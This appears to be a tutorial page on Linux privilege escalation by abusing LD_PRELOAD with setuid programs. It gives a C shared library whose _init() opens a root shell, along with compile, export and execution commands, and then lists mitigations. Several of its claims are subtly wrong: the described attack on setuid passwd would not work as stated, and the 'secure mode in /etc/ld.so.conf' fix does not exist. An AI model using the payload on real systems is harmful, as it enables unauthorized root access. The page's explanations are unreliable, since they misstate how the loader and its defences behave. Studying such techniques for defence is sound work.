- 👉 Overview
- 👀 What ?
- 🧐 Why ?
- ⛏️ How ?
- ⏳ When ?
- ⚙️ Technical Explanations
- Overview
- Mechanism of Privilege Escalation using LD_PRELOAD
- Key Concepts
- Exploit Example: Using LD_PRELOAD to Gain Root Privileges
- Step-by-Step Process
- Mitigation and Security Measures
- Conclusion
- 🖇️ References
👉 Overview
👀 What ?
ld.so is the dynamic linker/loader in Unix-based systems that is responsible for loading shared libraries for an executable. The ld.so preloading technique can be exploited to escalate privileges in a Unix-based system by forcing the system to load a malicious shared library.
🧐 Why ?
Understanding ld.so exploit is crucial as it is a common technique used in privilege escalation attacks. It is important for system administrators and penetration testers to be aware of this vulnerability to secure their systems and to perform comprehensive vulnerability assessments.
⛏️ How ?
The exploit involves creating a malicious shared library that contains the payload for privilege escalation, and then setting the LD_PRELOAD environment variable to point to this library. When a setuid program is executed, it loads the malicious shared library before any other library, leading to privilege escalation. However, this exploit only works if certain security measures, such as SELinux, are not in place.
⏳ When ?
The ld.so exploit is typically used after gaining initial access to a Unix-based system, as a method to escalate privileges. It is a common technique in privilege escalation since the inception of Unix-based systems.
⚙️ Technical Explanations
Overview
The dynamic linker/loader, ld.so
, is a crucial component in Unix-based systems responsible for loading shared libraries into memory and linking them to executable programs during runtime. Shared libraries optimize system resources by allowing multiple programs to use common code. However, the LD_PRELOAD
environment variable, which can be manipulated to specify shared libraries to load before others, can be exploited for privilege escalation.
Mechanism of Privilege Escalation using LD_PRELOAD
Key Concepts
- LD_PRELOAD: An environment variable that specifies a shared library to be loaded before others when a program runs. Intended for debugging and testing, it can be exploited to load malicious libraries.
- Setuid Programs: Programs that run with the privileges of the file's owner, often root. Exploiting setuid programs with LD_PRELOAD can lead to privilege escalation.
- SELinux: Security-Enhanced Linux, a security module that enforces access control policies and can mitigate the risk of such exploits.
Exploit Example: Using LD_PRELOAD to Gain Root Privileges
Step-by-Step Process
- Create the Malicious Shared Library:
- Create a C program that contains a payload for privilege escalation:
- The
_init()
function is executed when the shared library is loaded. It checks if the effective user ID is 0 (root), prints a success message, and opens a root shell. - Compile the Shared Library:
- Compile the C program into a shared library using
gcc
: - The
fPIC
option generates position-independent code, necessary for shared libraries. - Set the LD_PRELOAD Environment Variable:
- Set the
LD_PRELOAD
environment variable to point to the malicious shared library: - Execute a Setuid Program:
- Run a setuid program, such as
/usr/bin/passwd
, which typically runs with root privileges: - Because of the
LD_PRELOAD
directive, the system loads the malicious shared library first. If the setuid program is owned by root, the_init()
function is executed with root privileges, leading to privilege escalation.
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
if (geteuid() == 0) {
printf("We have root privileges!\\n");
setuid(0); // Switch to root user
system("/bin/bash"); // Open a root shell
} else {
printf("Privilege escalation failed.\\n");
}
}
gcc -shared -fPIC -o mylibrary.so mylibrary.c
export LD_PRELOAD=/path/to/mylibrary.so
/usr/bin/passwd
Mitigation and Security Measures
- Use SELinux:
- SELinux restricts the loading of shared libraries by setuid programs, significantly reducing the risk of LD_PRELOAD exploits.
- Audit Setuid Programs:
- Regularly audit setuid programs on the system and minimize their use. Remove the setuid bit from programs that do not require it.
- Secure Configuration:
- Configure the dynamic linker to ignore
LD_PRELOAD
for setuid programs by settingsecure
mode in/etc/ld.so.conf
. - Environment Variable Sanitization:
- Ensure that sensitive environment variables are sanitized and not inherited by child processes unnecessarily.
Conclusion
While the LD_PRELOAD
functionality is beneficial for debugging and testing, it poses a significant security risk when exploited for privilege escalation. Understanding this mechanism is crucial for both attackers seeking to exploit vulnerabilities and system administrators aiming to secure their systems. Implementing robust security measures, such as using SELinux, auditing setuid programs, and sanitizing environment variables, can mitigate these risks effectively.